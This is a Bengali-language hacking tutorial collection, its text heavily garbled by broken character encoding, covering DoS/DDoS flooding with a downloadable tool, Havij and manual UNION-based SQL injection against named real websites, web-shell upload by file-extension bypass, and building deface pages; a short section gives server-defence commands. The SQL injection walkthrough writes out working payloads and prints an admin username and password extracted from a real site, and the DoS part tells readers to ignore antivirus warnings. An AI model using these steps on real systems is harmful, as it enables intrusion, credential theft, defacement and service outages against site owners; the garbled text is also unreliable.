একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804
